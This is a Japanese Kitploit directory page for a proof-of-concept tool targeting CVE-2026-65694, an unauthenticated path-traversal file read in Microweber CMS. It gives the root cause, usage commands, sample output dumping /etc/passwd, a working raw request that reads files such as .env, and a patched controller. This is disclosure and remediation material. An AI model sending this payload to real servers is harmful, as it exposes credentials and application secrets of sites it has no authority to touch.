Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-65694-PoC — CVE-2026-65694 の PoC — Microweber CMS (<=2.0.20) の未認証パストラバーサル → 任意のファイル読み取り (.env / シークレット) | Kitploit
ツール/GitHubGitHub/abdugafforov-bobur/cve-2026-65694-poc
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集学習と教育
GitHubabdugafforov-bobur/cve-2026-65694-poc

CVE-2026-65694-PoC

CVE-2026-65694 の PoC — Microweber CMS (<=2.0.20) の未認証パストラバーサル → 任意のファイル読み取り (.env / シークレット)

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
126日前未レビュー

CVE-2026-65694 — Microweber CMS 未認証の任意ファイル読み取り

CVE-2026-65694 の概念実証 — Microweber CMS における 未認証のパストラバーサル → 任意ファイル読み取り です。

未認証の攻撃者は、Webサーバーユーザーがアクセスできる任意のファイルを読み取ることができます — Laravelの.env (APP_KEY、DB認証情報、メール/クラウドのシークレット)、/etc/passwd、ログ、鍵、非.phpの設定ファイルなど — 公開されているGET /userfiles/{path}ルートを介して。

  • CVE: CVE-2026-65694
  • Type: パストラバーサル → 未認証の任意ファイル読み取り (CWE-22 / CWE-23)
  • Severity: 高 — CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
  • Affected: Microweber ≤ 2.0.20 および現在の master (脆弱な行は依然として存在)
  • Authentication: 認証: 不要

根本原因

src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // <-- property read, NOT $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // <-- normalize_path() does NOT strip ".."
    return $this->sendResponse($path, $request);
}

ルートは認証なしで登録されています:

root@kitploit:~
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

2つの問題が組み合わさっています:

  1. 入力のオーバーライド. $request->path (プロパティアクセス、$request->path() メソッドではない) は Laravel の Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path')) を経由して解決されます。したがって、?path= クエリパラメータが {path} ルートセグメントを上書きします — そしてクエリ値はブラウザ/サーバーが適用する URL パスの .. 正規化の対象になりません。
  2. 正規化の欠如. normalize_path() はスラッシュをまとめるのみで、.. を除去または解決することはなく、解決されたパスが userfiles_path() 内に留まるかどうかのチェックもありません。PHP のファイルレイヤーがその後、ファイルシステム上の .. シーケンスを解決します。

コントローラは .php、.phtml、.php7 拡張子のみをブロックするため (skip_ext)、PHP ソースは直接読み取れませんが、それ以外はすべて読み取れます (.env、/etc/passwd、ログ、鍵、SQLite データベース、JSON/YAML 設定など)。

必要条件

root@kitploit:~
pip install -r requirements.txt

推奨される public/ ドキュメントルート (Microweber に付属の public/.htaccess、または nginx の try_files $uri /index.php フロントコントローラ) を使用するデプロイメントでアクセス可能です。そこでは userfiles/ がウェブルートの外にあり、/userfiles/* が Laravel ルーターにディスパッチされます。

使用方法

3つのアクション:

root@kitploit:~
python3 poc.py -u http://TARGET --check                 # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd          # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env                 # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # download a file to disk

トラバーサルの深さは自動検出されます (ファイルが取得されるまで ../ を増やします)。--depth N で上書き可能。Burp 経由にするには --proxy http://127.0.0.1:8080。生のリクエストを表示するには -v を追加。

例

root@kitploit:~
$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)

基礎となるリクエストは単純に:

root@kitploit:~
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

影響

未認証の任意ファイル読み取り。Laravelの.envを漏洩させると、APP_KEY (セッション/クッキーの偽造)、データベース認証情報、メールパスワード、クラウドキーが取得されます — 実質的にインスタンスのシークレットが完全に侵害されます。

修正方法

入力プロパティではなく バインドされたルートパラメータ を読み取り、realpath() で正規化し、解決されたパスが userfiles_path() 内に留まることを確認します:

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}

クレジット

Bobur Abdugafforov によって発見・報告されました。CVE-2026-65694 は VulnCheck 経由で割り当てられました。

免責事項

許可されたセキュリティテストおよび教育目的でのみ使用してください。所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。

ツールをダウンロード
Flag
Action
--checkターゲットが脆弱かどうかを報告 (はい/いいえ)、データをダンプしない
-r, --read FILEファイルを読み取り、標準出力に出力
-d, --download FILEファイルを読み取り、ローカルに保存 (-o/--output で名前を指定)